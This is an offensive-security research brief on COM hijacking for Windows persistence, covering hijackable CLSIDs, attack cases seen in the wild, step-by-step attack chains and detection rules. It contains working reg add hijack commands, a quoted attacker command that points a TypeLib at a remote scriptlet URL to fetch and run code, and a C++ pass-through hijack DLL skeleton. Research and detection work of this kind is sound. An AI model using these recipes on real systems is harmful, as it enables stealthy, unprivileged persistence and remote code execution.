Files
An0nUD4Y-Offensive-COM/research/R5-persistence.md
T
2026-07-18 21:50:11 +05:30

35 KiB
Raw Blame History

RESEARCH BRIEF — COM for PERSISTENCE (MITRE ATT&CK T1546.015)

All claims verified against primary sources (MITRE, bohops, enigma0x3, MDSec, SpecterOps, ReliaQuest, Talos, ESET, FireEye/Mandiant, CrowdStrike, SigmaHQ, Elastic, Red Canary Atomic, NCC Group, leoloobeek, nickvourd, 3gstudent, pentestlab).


1. COM Hijacking Fundamentals

1.1 The HKCR merge — why a standard user can hijack anything

  • HKEY_CLASSES_ROOT is not a real hive — it is a merged view built at query time from HKLM\SOFTWARE\Classes (machine-wide) and HKCU\SOFTWARE\Classes (per-user).
  • Per-user entries take precedence. If the same subkey/value exists in both, the HKCU value wins (Microsoft: "Merged View of HKEY_CLASSES_ROOT"). A non-admin user has full write access to HKCU, so any COM class registered in HKLM can be shadowed per-user with zero privileges.
  • COM resolution path for CoCreateInstance(CLSID, ...) (in-proc case): 1) HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32 (or LocalServer32, InprocHandler32, TreatAs) — checked first; 2) HKCR\CLSID\... (merged view → effectively HKLM); 3) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\ (legacy shell fallback).
  • 32-bit processes on 64-bit Windows additionally use the WoW64 reflection path: HKCU\Software\Classes\Wow6432Node\CLSID\... (critical for Office hijacks).
  • Key values under InprocServer32: (Default) = DLL path (REG_SZ/REG_EXPAND_SZ), ThreadingModel = Apartment (STA) | Free (MTA) | Both | Neutral, and shell-only LoadWithoutCOM (honored by shell32 SHCoCreateInstance — load DLL by path with no full COM checks; abused in eventvwr UAC bypass).

1.2 Phantom / orphaned / abandoned COM objects

  1. Orphaned registrations (registered CLSID, missing binary): CLSID exists but the InprocServer32/LocalServer32 target file does not — leftovers from uninstalled software (bohops' example: VMware Workstation's leftover vmnetbridge.dll at CLSID {3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}). If the directory path is attacker-writable, dropping a payload at the expected path hijacks the object without touching the registry. If the registry path is writable (HKCU shadow), you don't even need the file path.
  2. Undefined-but-referenced classes (dangling references): programs call CoCreateInstance on CLSIDs not registered anywhere (NAME NOT FOUND in ProcMon). Registering that CLSID in HKCU creates a new "phantom" object the program then loads. Advantages: no legitimate value overwritten, no functionality breaks, nothing to diff (CrowdStrike ClickOnce research 2025; pentestlab/SpecterOps methodology).

1.3 Why it survives reboots and is low-noise

  • Persistence lives entirely in the registry (HKCU hive = NTUSER.DAT / UsrClass.dat), re-read at every logon; no autostart entry, no service, no scheduled task modification.
  • The trigger is normal system activity: a legitimate Microsoft-signed process (explorer.exe, taskhostw.exe, svchost.exe, outlook.exe, browsers) does the LoadLibrary of your DLL. Execution inherits host integrity and reputation; no new suspicious process.
  • Autoruns gap: Sysinternals Autoruns enumerates only specific COM categories; it does not diff the full HKCU\Software\Classes\CLSID tree against HKLM → classic per-user CLSID shadow invisible in default views. Even when a Run-key launcher is used (rundll32.exe -sta {CLSID} or mmc.exe -Embedding payload.msc), the visible autorun points to a signed Microsoft binary while the payload path hides in the Classes hive (bohops Part 2).
  • MITRE T1546.015: tactic = Persistence + Privilege Escalation.

1.4 InprocServer32 vs LocalServer32

  • InprocServer32 → DLL loaded into caller via LoadLibrary; ole32/combase calls exported DllGetClassObject (most common persistence).
  • LocalServer32 → EXE (or command line!) launched as a new process by DCOM Server Process Launcher (svchost.exe -k DcomLaunch) with -Embedding. LocalServer32 values may include arguments — CrowdStrike demonstrated fileless persistence with cmd.exe/powershell.exe + script args in LocalServer32. Detection: properly instantiated COM servers spawn from svchost.exe; any other parent for an -Embedding command line is suspicious.

2. Documented Hijackable CLSIDs & In-The-Wild Cases

2.1 {0A29FF9E-7F9C-4437-8B11-F424491E3931} — Event Viewer MMC snap-in class — persistence + UAC crossover

  • Loaded by eventvwr.exe (auto-elevated) and mmc.exe eventvwr.msc; HKCU shadow path free.
  • Hijack recipe:
    reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "" /t REG_SZ /d "C:\path\payload.dll" /f
    reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "LoadWithoutCOM" /t REG_SZ /d "" /f
    reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
    reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "HideOnDesktop" /t REG_SZ /d "" /f
    reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0xf090013d /f
    
    (0xf090013d = SFGAO attribute combination required for the shell to accept the object.)
  • Documented by: hfiref0x/UACME, Metasploit exploit/windows/local/bypassuac_comhijack, 3gstudent (lists it among HKCU CLSID hijacks of elevated programs alongside {B29D466A-857D-35BA-8712-A758861BFEA1}, {D5AB5662-131D-453D-88C8-9BBA87502ADE}, {CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}).
  • Related but distinct: enigma0x3's eventvwr "fileless" UAC bypass pivots on HKCU\Software\Classes\mscfile\shell\open\command (file association, not CLSID). PoC: Invoke-EventVwrBypass.ps1.
  • Note: user-triggered (someone must open Event Viewer); its value is the persistence→privesc chain (payload loads high-IL because eventvwr auto-elevates).

2.2 {BCDE0395-E52F-467C-8E3D-C4579291692E} — MMDeviceEnumerator (audio endpoint enumerator, mmdevapi.dll)

  • Instantiated by explorer.exe at every logon and by virtually every audio-touching process (Firefox documented; media players, browsers, VOIP).
  • ITW — APT28/Sednit: Seduploader persisted via HKCU\Environment\UserInitMprLogonScript and COM hijack of MMDeviceEnumerator; payload executed "by rundll32.exe ... or by explorer.exe if the COM Object hijack is performed" (Cisco Talos). MITRE APT28 (G0007) cites it; JHUHUGIT also hijacked MMDeviceEnumerator + registered as Shell Icon Overlay handler (FireEye/Mandiant).
  • Chinese research blogs 2019 PoC: drop DLL as %APPDATA%\Microsoft\Installer\{BCDE0395-...}\test._dl, HKCU CLSID + ThreadingModel=Apartment, trigger with iexplore.exe.
  • sbousseaden/EVTX-ATTACK-SAMPLES has persist_firefox_comhijack_sysmon_11_13_7_1.evtx (Sysmon telemetry of an MMDeviceEnumerator hijack via Firefox).

2.3 {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7} — CAccPropServicesClass (MSAA "AccPropServices", oleacc.dll)

  • MS Active Accessibility property server; instantiated by many UI processes (browsers, Office) — high trigger frequency. 32-bit confirmed; 64-bit caveats reported.
  • Documented by bohops research; Atomic Red Team T1546.015 Test #1 uses exactly this CLSID with rundll32.exe -sta {B5F8350B-...} as invoker.

2.4 {42AEDC87-2188-41FD-B9A3-0C966FEABEC1} — MruPidlList (shell32)

  • Loaded by explorer.exe at every shell start and throughout the session. The classic most-abused persistence CLSID.
  • ITW: ComRAT/Turla (replaces path to shell32.dll in {42aedc87-...}\InprocServer32 — MITRE S0126); BBSRAT (MruPidlList one arch, {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} "Microsoft WBEM New Event Subsystem" other — Palo Alto); PcShare (HKCU {42aedc87-...} — MITRE); SILENTTRINITY references it.
  • Earliest vendor doc: G-Data, "COM Object hijacking: the discreet way of persistence," Oct 2014 (MITRE's citation). First-ever public discussion of per-user COM abuse: Jon Larimer, 2011 (per leoloobeek).

2.5 Scheduled-task COM handler CLSIDs (taskhostw.exe / Schedule service)

Scheduled tasks with <ComHandler><ClassId>{...}</ClassId> actions instantiate the CLSID in the task host when fired. Hijack = shadow that CLSID in HKCU.

  • {0358B920-0AC7-461F-98F4-58E32CD89148}WinINet CacheTask (C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask), InprocServer32 = %systemroot%\system32\wininet.dll, ThreadingModel=Both, trigger = logon of any user. Walkthrough: MDSec, Dominic Chell, "Persistence Part 2 COM Hijacking" (May 2019) — HKLM key TrustedInstaller-owned; HKCU shadow with c:\tools\demo.dll executes at logon.
  • {A6BA00FE-40E8-477C-B713-C64A14F18ADB}WindowsUpdate\Automatic App Update task (ComHandler), documented by enigma0x3, "Userland Persistence with Scheduled Tasks and COM Handler Hijacking" (May 2016). Enumerator: Get-ScheduledTaskComHandler.ps1.
  • {2DEA658F-54C1-4227-AF9B-260AB5FC3543} — ITW: attacker registered own payload CLSID, added TreatAs under this legitimate CLSID loaded by an existing scheduled task at user logon → payload every logon (FireEye/Mandiant UNC2529).
  • Generic PowerShell hunter:
    $Tasks = Get-ScheduledTask
    foreach ($Task in $Tasks) {
      if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") {
        Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)"
      }
    }
    
  • {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} — training example (ZeroPoint RTO; COM-Hunter readme; snovvcrash). Friendly name unconfirmed.
  • "TeaTimer" has NO documented COM persistence linkage (negative result — likely conflation with scheduled-task COM handler hijacking or Spybot's registry monitor).

2.6 TreatAs redirection (CLSID→CLSID linking)

  • Semantics: HKCR\CLSID\{A}\TreatAs (default = {B}) tells COM class {B} "can emulate" {A}; CoCreateInstance({A}) resolves {B}. APIs: CoGetTreatAsClass(), CoTreatAsClass(); related: AutoTreatAs, Emulated subkey. Because TreatAs is a key, attackers add it in HKCU without touching {A}'s InprocServer32 — evades detections that only watch InprocServer32 writes.
  • Documented example (enigma0x3 + subTee "Windows Operating System Archaeology", via bohops Part 2): {3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs = {00000001-0000-0000-0000-0000FEEDACDC} → scrobj.dll ScriptletURL payload. Hexacorn "Beyond good ol' Run key, Part 84".
  • ITW — Turla Outlook backdoor (ESET, Aug 2018): HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}; {49CBB1C7-...} ("Mail Plugin") → InprocServer32 = backdoor DLL, ThreadingModel=Apartment → backdoor loads inside OUTLOOK.EXE at every launch. Automated by 3gstudent Invoke-OutlookPersistence.ps1 (handles Wow6432Node for 32-bit Office).

2.7 TypeLib hijacking (oleaut32 automation marshaling) — REQUIRED

  • Mechanics: Type libraries resolve from HKCR\TypeLib\{LIBID}\<version>\0\win32|win64 (default = path to .tlb/.dll/.olb). Any Automation/IDispatch client (VBA, VBScript/JScript GetObject/CreateObject, .NET RCWs, Explorer.exe, OLE embedding) causes oleaut32 LoadTypeLib() of that path. Shadowing win32/win64 in HKCU\Software\Classes\TypeLib\{LIBID}\... redirects the load — per-user, no admin.
  • Killer detail: the value accepts a moniker string. Setting it to script:<path-or-URL> runs a Windows Script Component (.sct) via scrobj.dll — including remote script:https://... scriptlet → fileless payload re-downloaded at every trigger.
  • ITW — ReliaQuest (March 2025 incidents, published April 2025; Black Basta / Storm-1811-affiliated operators):
    reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f
    
    {EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B} = SHDocVw (Microsoft Web Browser control / IE) library. ReliaQuest observed Explorer.exe references this object every time it runs → payload auto-downloaded at every restart. MITRE updated T1546.015 in 2025 to add the TypeLib/"script:"-moniker variation, citing ReliaQuest.
  • HackTricks discovery recipe: read LIBID from HKCR\CLSID\{CLSID}\TypeLib, read version from HKCR\TypeLib\{LIBID}, then create HKCU:\Software\Classes\TypeLib\{LIBID}\{ver}\0\win32 = script:C:\...\evil.sct (JScript <scriptlet> that re-arms the main chain).
  • Detection: any TypeLib\...\0\win32|win64 value containing script:, http:, https: is "almost certainly malicious"; watch scrobj.dll loading into non-scripting processes; hunt reg.exe cmdlines containing TypeLib + script.

2.8 ProgID hijacking

  • ProgIDs (HKCR\<ProgID>\CLSID{CLSID}) shadowable in HKCU: create HKCU\Software\Classes\<ProgID>\CLSID = {evil CLSID}; any client instantiating by name resolves your class. Canonical demo: Casey Smith's squiblydoo — HKCU Scripting.Dictionary{00000001-0000-0000-0000-0000FEEDACDC} → InprocServer32 = C:\WINDOWS\system32\scrobj.dll + ScriptletURL = remote .sct. Stability caveat: WinRM/slmgr.vbs break with VBScript runtime errors.

2.9 ClickOnce "undefined COM object" variant (CrowdStrike, 2025)

  • During ClickOnce deployment, rundll32.exe calls CoCreateInstance() with a hardcoded CLSID not registered (dfsvc.exe normally registers it later via CoRegisterClassObject). Pre-registering that CLSID in HKCU with a LocalServer32 makes the DCOM-launcher svchost start the attacker's binary at next deployment — fileless capable (LocalServer32 can carry cmd.exe/script args), legitimate process tree, overwrites nothing. Limitations: only fires while dfsvc.exe not already running; adds 3050s deploy delay. (CrowdStrike, "New Abuse of the ClickOnce Technology: Part 2.")

2.10 Auto-start host processes & other documented targets

  • explorer.exe: MruPidlList {42aedc87-...}, MMDeviceEnumerator {BCDE0395-...}, TypeLib {EAB22AC0-...}, plus shell extension classes from NCC acCOMplice masterkeys.csv (e.g., {69486DD6-C19F-42E8-B508-A53F9F8E67B8}, {9E175B6D-F52A-11D8-B9A5-505054503030}, {9BA05972-F6A8-11CF-A442-00A0C90A8F39}).
  • Browsers/WebView2 (Chrome, Edge, Teams, OneDrive, M365): SpecterOps "Revisiting COM Hijacking" (May 2025): msedgewebview2.exe, msedge.exe, explorer.exe, chrome.exe all query HKCU for {54E211B6-3650-4F75-8334-FA359598E1C5} (InprocServer32 = %SystemRoot%\system32\directmanipulation.dll, ThreadingModel=Both) and {9FCBE510-A27C-4B3B-B9A5-BF65F00256A8} — hijack yields execution inside browser processes with export-forwarding stubs (FaceDancer / Koppeling).
  • taskhostw.exe / Schedule service: any user-context ComHandler task (§2.5).
  • Office/Outlook: Turla TreatAs chain (§2.6); 3gstudent Invoke-OutlookPersistence.
  • Other ITW mapped to T1546.015: Mosquito (Turla), Ferocious (WIRTE), ADVSTORESHELL (Shell Icon Overlay handler), KONNI (modified ComSysApp service), WarzoneRAT (HKCU\Software\Classes\Folder\shell\open\command + DelegateExecute), AUTHENTIC ANTICS (NCSC MAR: COM hijack inside Outlook), SILENTTRINITY.
  • Watchlist CLSIDs (startupdefense): {42aedc87-2188-41fd-b9a3-0c966feabec1}, {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}, {E6D34FFC-AD32-4d6a-934C-D387FA873A19}, {3543619C-D563-43f7-95EA-4DA7E1CC396A}.

2.11 Discovery tooling

Tool What it does Where
acCOMplice / COMHijackToolkit (David Tulis, NCC Group; DerbyCon 9) Extract-HijackableKeysFromProcmonCSV, Find-MissingLibraries, Hijack-CLSID, Hijack-MultipleKeys (frequency testing), COMinject PoC, procmon filters, masterkeys.csv github.com/nccgroup/Accomplice
COM-Hunter (@nickvourd + @S1ckB0y1337; .NET + BOF v3.0) Modes: search (HKLM/HKCU), persist, tasksch, treatas, remove github.com/nickvourd/COM-Hunter
Get-ScheduledTaskComHandler.ps1 (enigma0x3) Enumerates scheduled tasks with ComHandler actions github.com/enigma0x3/Misc-PowerShell-Stuff
COMProxy (leoloobeek) Pass-through hijack DLL PoC github.com/leoloobeek/COMProxy
oleviewdotnet (James Forshaw) COM enumeration/analysis; "COM in 60 Seconds" talk github.com/tyranid/oleviewdotnet
bohops' WMI one-liners gwmi Win32_COMSetting + cmd /c dir existence check (finds orphans like mobsync.exe {C947D50F-378E-4FF6-8835-FCB50305244D} on 2008/2012) bohops.com Part 1
FaceDancer / Koppeling / SharpDllProxy Export-forwarding stub generators github.com/Flangvik/SharpDllProxy etc.

3. Trade-craft: The Pass-Through (Proxy) Hijack DLL

Concept (leoloobeek, "Proxying COM For Stable Hijacks", Aug 2019): the hijack DLL exports DllGetClassObject/DllCanUnloadNow, loads the original server from its HKLM path, and forwards the call, so the client receives the interface pointers it expects and nothing breaks.

// hijack.cpp — pass-through COM hijack server (skeleton)
#include <windows.h>

typedef HRESULT (STDAPICALLTYPE *_DllGetClassObject)(REFCLSID, REFIID, LPVOID*);
typedef HRESULT (STDAPICALLTYPE *_DllCanUnloadNow)(void);

static HMODULE g_hOrig = NULL;
static volatile LONG g_lPayloadDone = 0;

static BOOL PayloadAlreadyRan() {                    // mutex trick (SpecterOps)
    HANDLE h = CreateEventA(NULL, TRUE, FALSE, "EVNT-48374635899");
    if (h == NULL) return TRUE;
    return (GetLastError() == ERROR_ALREADY_EXISTS);
}

static BOOL IsDesiredHost() {                        // optional process gating
    wchar_t p[MAX_PATH]; GetModuleFileNameW(NULL, p, MAX_PATH);
    wchar_t* b = wcsrchr(p, L'\\'); b = b ? b + 1 : p;
    return (_wcsicmp(b, L"explorer.exe") == 0);
}

static DWORD WINAPI PayloadThread(LPVOID) {
    if (IsDesiredHost() && !PayloadAlreadyRan()) {
        STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi;
        CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\calc.exe",
                       NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    }
    InterlockedExchange(&g_lPayloadDone, 1);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hMod);
        wchar_t orig[MAX_PATH] = L"C:\\Windows\\System32\\original_server.dll";
        g_hOrig = LoadLibraryW(orig);                // or read HKLM path via RegGetValue
        QueueUserWorkItem((LPTHREAD_START_ROUTINE)PayloadThread, NULL, 0);
    } else if (reason == DLL_PROCESS_DETACH) {
        if (g_hOrig) FreeLibrary(g_hOrig);
    }
    return TRUE;
}

STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
    if (!g_hOrig) return CLASS_E_CLASSNOTAVAILABLE;
    _DllGetClassObject p = (_DllGetClassObject)GetProcAddress(g_hOrig, "DllGetClassObject");
    if (!p) return E_UNEXPECTED;
    return p(rclsid, riid, ppv);                     // client gets REAL interface
}

STDAPI DllCanUnloadNow(void) {                       // leoloobeek "hold the door" trick
    while (InterlockedCompareExchange(&g_lPayloadDone, 0, 0) == 0) Sleep(1);
    _DllCanUnloadNow p = g_hOrig ? (_DllCanUnloadNow)GetProcAddress(g_hOrig, "DllCanUnloadNow") : NULL;
    return p ? p() : S_OK;
}

Exports (.def): DllGetClassObject, DllCanUnloadNow (+ DllRegisterServer/DllUnregisterServer for regsvr32-compat).

Complementary tradecraft:

  • Export forwarding for non-COM exports (SpecterOps 2025): #pragma comment(linker, "/export:DllGetActivationFactory=directmanipulation.DllGetActivationFactory,@3") — generate with FaceDancer (recon -I target.dll -G) or Koppeling; SharpDllProxy automates.
  • ThreadingModel must match the HKLM original. Mismatch: COM inserts proxy/stub marshaling between apartments (slow; can deadlock UI threads / RPC_E_CANTTRANSMIT); STA-expecting client may crash; worst case host crashes at load → detection. Both is safest when unsure.
  • DllMain constraints: never block, never re-entrant CoCreateInstance, minimal loader-lock work — spawn a thread. Mutex/event gate against repeated instantiation.
  • .NET COMVisible assemblies as payloads: register managed class with regasm — InprocServer32 = C:\Windows\System32\mscoree.dll with Class, Assembly, RuntimeVersion, optionally CodeBase; CLR loads your assembly. Pure managed payload, signed host DLL.
  • Reg-free COM: activation-context manifests (CreateActCtx/ActivateActCtx, app-local manifests, Isolated COM) resolve classes from manifest files instead of registry — keeps persistence off the CLSID hive or weaponizes a planted manifest next to a side-loadable binary.
  • ScriptletURL / scrobj.dll registration: InprocServer32 = scrobj.dll (signed) + ScriptletURL value = local/remote .sct → fileless-ish, default AppLocker bypass (squiblydoo, subTee). ScriptletURL keys are rare legitimately — detection gold.

4. Attack Chains (step-by-step)

Chain A — Per-user persistence via scheduled-task COM handler (MDSec/enigma0x3)

  1. Enumerate: Get-ScheduledTaskComHandler.ps1 or PowerShell snippet (§2.5) → user-context tasks with ComHandler + LogonTrigger.
  2. Pick {0358B920-0AC7-461F-98F4-58E32CD89148} (CacheTask, wininet.dll, logon trigger).
  3. Confirm HKLM registration + ThreadingModel=Both; confirm no HKCU shadow.
  4. New-Item HKCU:\Software\Classes\CLSID\{0358B920-...}\InprocServer32(Default) = C:\Users\<u>\AppData\Roaming\...\stub.dll; ThreadingModel = Both.
  5. Drop pass-through stub DLL (forwards to C:\Windows\System32\wininet.dll).
  6. Next logon: Task Scheduler fires CacheTask → taskhost resolves CLSID → HKCU wins → stub loads inside task host, payload thread runs, proxies everything to wininet.dll. No autostart entries, no broken task.

Chain B — explorer-triggered audio enumerator (APT28)

  1. Stage DLL: %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\update.dll.
  2. HKCU\Software\Classes\CLSID\{BCDE0395-...}\InprocServer32 = staged path; ThreadingModel = Apartment.
  3. Every logon (and every audio-API use): explorer.exe instantiates MMDeviceEnumerator → attacker DLL executes in explorer context.

Chain C — Fileless TypeLib hijack with remote scriptlet (ReliaQuest/Black Basta affiliate)

  1. Identify high-frequency Automation library: {EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B} (SHDocVw; Explorer.exe touches constantly), version 1.1.
  2. reg add "HKCU\Software\Classes\TypeLib\{EAB22AC0-...}\1.1\0\win64" /t REG_SZ /d "script:https://<cdn>/payload.sct" /f (or local script:C:\ProgramData\update.sct).
  3. On next Explorer start / WebBrowser-control use, oleaut32 resolves the TypeLib → script: moniker runs SCT via scrobj.dll → payload re-fetched each time.

Chain D — TreatAs redirect (Turla)

  1. Register attacker class: HKCU\Software\Classes\CLSID\{49CBB1C7-...}\InprocServer32 = backdoor.dll (+ThreadingModel=Apartment, ProgID "Mail Plugin").
  2. Link legit class: HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-...}.
  3. OUTLOOK.EXE instantiates → resolves attacker class. Legit CLSID's InprocServer32 never modified → evades naive detections (but see Sigma TreatAs rules).

5. Detection & Hunting

5.1 Registry telemetry

  • Sysmon EID 12 (key create/delete), EID 13 (value set), EID 14 (rename). Target paths:
    • HKU\<SID>_Classes\CLSID\* and HKU\<SID>\Software\Classes\CLSID\* (InprocServer32, LocalServer32, TreatAs, ScriptletURL, ProgID)
    • HKU\<SID>_Classes\TypeLib\*\0\win32|win64 (TypeLib hijack)
    • HKU\<SID>\Software\Classes\mscfile\shell\open\command, *\Folder\shell\open\command (DelegateExecute)
  • High-signal heuristics:
    • InprocServer32 (Default) pointing outside %SystemRoot%\System32/Program Files → user-writable paths.
    • HKCU CLSID shadowing HKLM CLSID with a different server path (baseline diff).
    • Registered server path whose file does not exist (phantom/orphan).
    • TreatAs written by non-svchost/non-Office; any ScriptletURL key creation.
    • TypeLib values containing script:/http(s):; scrobj.dll image loads in non-script hosts.
  • Process/cmdline indicators: rundll32.exe -sta {CLSID} (evasion: -stagggg suffixes still work), verclsid.exe /S /C {CLSID} (NickTyrer gist; seen in phishing), xwizard.exe RunWizard /taero /u {CLSID} (harr0ey), mmc.exe -Embedding <file.msc> (parent not svchost = suspicious), reg.exe with TypeLib + script.

5.2 Named rules

  • SigmaHQ: registry_set_persistence_com_key_linking.yml (TreatAs subkey; cites bohops Part 2); registry_set_treatas_persistence.yml; registry_set_persistence_search_order.yml; registry_set_persistence_com_hijacking_susp_locations.yml; registry_set_persistence_com_hijacking_builtin.yml; detection.fyi also: "Modification Of Default System CLSID Default Value", "PSFactoryBuffer COM Hijacking", "Scrobj.dll COM Hijacking".
  • Elastic prebuilt: persistence_suspicious_com_hijack_registry.toml (HKCU vs HKLM shadow diff).
  • Splunk: "Eventvwr UAC Bypass" (mscfile HKCU write) + COM hijack analytics.
  • VirusTotal LiveHunt YARA keyed on Sigma behaviour rule for CLSID COM hijacking (VT blog, Mar 2024).
  • Atomic Red Team T1546.015 tests #1#4.

5.3 Autoruns & blind spots

  • Autoruns does not comprehensively enumerate HKCU CLSID shadows; hijacks launching via signed invokers hide behind Microsoft-signed entries. Registry-only persistence invisible until full hive diff. Recommend: periodic reg export of HKCU\Software\Classes\CLSID + ...\TypeLib + UsrClass.dat diffed against gold image; cross-check Sysmon EID 7 loaded modules of explorer/svchost/taskhostw for DLLs outside System32.

6. Research Methodology — Finding NEW Hijackable CLSIDs

  1. Static orphan/phantom sweep: bohops method: $inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }; $paths = $inproc | %{$_.InprocServer32}; foreach ($p in $paths){$p; cmd /c dir $p > $null} — "File Not Found" = orphan (repeat for LocalServer32; normalize args/env vars). acCOMplice Find-MissingLibraries automates; Extract-HijackableKeysFromProcmonCSV post-processes ProcMon captures.
  2. Dynamic dangling-reference discovery: ProcMon filters: Operation is RegOpenKey + Result is NAME NOT FOUND + Path ends with InprocServer32 (+ optionally process-name filter for target apps: msedgewebview2.exe, OUTLOOK.EXE, Teams.exe). Run during logon/app launches. Each hit = a CLSID a live process tries to activate that you can register in HKCU.
  3. Task-driven discovery: Get-ScheduledTaskComHandler.ps1 / ComHandler snippet → logon/idle-triggered user tasks = scheduled triggers.
  4. Frequency scoring: ProcMon boot/session traces → count RegOpenKey hits per CLSID per process per hour; or ETW (Microsoft-Windows-COMRuntime / registry ETW); NCC acCOMplice Hijack-MultipleKeys = hijack several candidates with a logging DLL and count activations. Score = trigger frequency × host desirability (explorer/browsers/taskhostw > niche) × breakage risk.
  5. Stability validation harness: implement pass-through DLL; unit-test with a COM client (leoloobeek ships TestCOMClient/TestCOMServer); soak-test real host (repeated launch/close, watch WerFault, UI hangs, proxy-marshal stalls); verify ThreadingModel matches HKLM; gate payload with mutex + host check; verify 32/64-bit hive placement; test DllCanUnloadNow so payload finishes before unload.
  6. Opsec review: does it break anything user-visible (squiblydoo broke slmgr.vbs/WinRM)? Is payload path plausible? Would the CLSID survive a Windows update (favor third-party/abandoned/undefined classes — CrowdStrike's point)?

7. Diagrams to Draw

  1. HKCR merge & precedence: HKCU on top of HKLM funnel into merged HKCR; red HKCU shadow eclipsing HKLM original; "no admin required — merge at query time".
  2. Classic hijack flow: Client (explorer.exe) → CoCreateInstance → combase registry lookup → HKCU InprocServer32 = evil.dll → LoadLibrary → DllGetClassObject → payload thread; greyed original HKLM path.
  3. Phantom object: (a) orphan: CLSID → dotted line to missing file → attacker drops DLL at expected path; (b) undefined-but-referenced: NAME NOT FOUND → attacker creates CLSID → next query succeeds.
  4. TreatAs redirect: Client → CoCreateInstance({A}) → HKCU TreatAs = {B} → {B} InprocServer32 → attacker DLL; "InprocServer32 of {A} never modified".
  5. TypeLib hijack: Client → oleaut32 LoadTypeLib → HKCU TypeLib{LIBID}\1.1\0\win64 = script:https://... → scrobj.dll → remote .sct fetched & executed; "ReliaQuest 2025 — Black Basta affiliate".
  6. Pass-through stability: client ←(real interfaces)← attacker DLL → LoadLibrary(original) → original DllGetClassObject; payload thread to the side.

REFERENCES

Frameworks / canonical

Seminal offensive research

Tooling

In-the-wild / vendor intel

Detection

Caveats: (1) G-Data 2014 author name and Hexacorn Part 84 body not re-fetched (URLs/titles verified via multiple citations). (2) First CAccPropServicesClass/MMDeviceEnumerator write-up attribution fuzzy — bohops + 2019 Chinese blogs are verifiable; ITW (APT28/Talos) solid. (3) {01575CFE-...}, {AB8902B4-...} are training examples (RTO/COM-Hunter); friendly names unconfirmed. (4) "TeaTimer" has no COM persistence linkage (negative result). (5) CrowdStrike ClickOnce hardcoded CLSID value not printed in accessible excerpt — pull full blog for slides.